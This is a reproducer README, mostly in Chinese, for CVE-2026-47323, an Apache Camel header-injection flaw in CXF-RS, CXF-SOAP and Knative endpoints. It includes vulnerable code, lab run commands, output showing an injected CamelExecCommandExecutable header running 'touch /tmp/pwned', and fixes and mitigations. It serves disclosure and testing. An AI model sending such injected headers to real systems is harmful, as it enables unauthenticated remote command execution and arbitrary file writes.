
Reproducer for CVE-2026-47323: Apache Camel CXF/Knative HeaderFilterStrategy missing inbound filtering, enabling Camel control-header injection (RCE via camel-exec) through CXF-RS/CXF-SOAP/Knative endpoints (fixed in 4.14.6/4.18.2/4.19.0)
该项目演示了 Apache Camel 的 CXF 和 Knative HTTP 头部过滤策略中的消息头部注入漏洞,追踪编号为 CVE-2026-47323。CxfRsHeaderFilterStrategy (camel-cxf-rest)、CxfHeaderFilterStrategy (camel-cxf-transport) 和 KnativeHttpHeaderFilterStrategy (camel-knative-http) 仅过滤出站的 Camel 内部头部(setOutFilterStartsWith),而未配置入站过滤(setInFilterStartsWith)。因此,未认证攻击者可以通过 HTTP 请求向 CXF-RS 或 CXF-SOAP 端点注入 Camel 内部头部(例如 CamelExecCommandExecutable、CamelFileName)。当路由将这些端点的消息转发到诸如 camel-exec 或 camel-file 等头部驱动的组件时,被注入的头部会覆盖已配置的值——从而实现远程代码执行或任意文件写入。
本 PoC 使用 CXF-RS (JAX-RS) 界面:注入的 CamelExecCommandExecutable 将无害的 echo 命令变为任意命令执行。
安全公告:https://camel.apache.org/security/CVE-2026-47323.html
本复现工具固定使用 camel 4.18.1——4.18.x 分支上最后一个受影响版本(修复在 4.18.2 中引入)。 与 camel-undertow(CVE-2025-30177)、更广泛的入站头部过滤(CVE-2025-27636、CVE-2025-29891)以及非 HTTP 策略(CVE-2026-40453)模式相同。
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
修复版本(4.14.6 / 4.18.2 / 4.19.0)为这些策略添加了 setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH),因此入站 Camel* / camel* 头部被丢弃。
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
一个 JAX-RS 端点(GET /service/api/ping),其请求被传递给一个固定的 shell 命令。camel-exec 生产者会优先使用入站的 CamelExecCommandExecutable 头部,而不是配置的 echo。
所有内容运行在一个自包含的应用中:CXF-RS 端点、camel-exec 接收端以及攻击者驱动。
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # 单个自包含服务
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS 合约:GET /api/ping
│ ├── VictimRoute.java # cxfrs 消费者 -> exec:echo
│ └── ExploitController.java # 攻击者:GET /ping 并注入 CamelExec* 头部
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # 由注入命令创建
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) 合法请求(无注入头部)===
response: ok
marker created: false
=== 2) 注入 CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> 头部注入 / RCE 证明 — 未认证 HTTP 客户端通过向 CXF-RS 请求注入 CamelExec* 头部,使路由执行了
>>> 任意命令(touch /tmp/pwned):true
任何将消息从 CXF-RS、CXF-SOAP 或 Knative-HTTP 端点转发到头部驱动的生产者的路由。除了 CamelExecCommandExecutable(通过 camel-exec 实现 RCE),CamelFileName 允许通过 camel-file 实现任意文件写入,其他 Camel* 控制头部也可以操控其他生产者。
升级至 4.14.6 / 4.18.2 / 4.19.0。受影响的策略随后会配置 setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH),丢弃入站 Camel* 头部。
在升级之前,先从入站消息中移除 Camel 控制头部,再交给任何下游生产者(在路由开头执行 .removeHeaders("Camel*") 和 .removeHeaders("camel*")),并在 CXF / Knative 端点上要求认证。
本复现工具仅供安全研究和授权测试使用,针对的是已公开披露并已修复的漏洞。请勿在未经明确许可的情况下用于任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-cxf-rest (CxfRsHeaderFilterStrategy)、camel-cxf-transport (CxfHeaderFilterStrategy)、camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20:输入验证不当 |
| 影响 | 通过 HTTP 请求注入 Camel 控制头 → 覆盖下游头部驱动的生产者 → RCE(camel-exec)或任意文件写入(camel-file) |
| 前提条件 | CXF-RS / CXF-SOAP / Knative 端点转发到头部驱动的生产者;若端点未认证则无需认证 |
| 受影响版本 | 从 3.18.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,4.19.0(在 4.19.0 中修复) |
| 修复版本 | 4.14.6、4.18.2、4.19.0 |
| 致谢 | Quac Tran |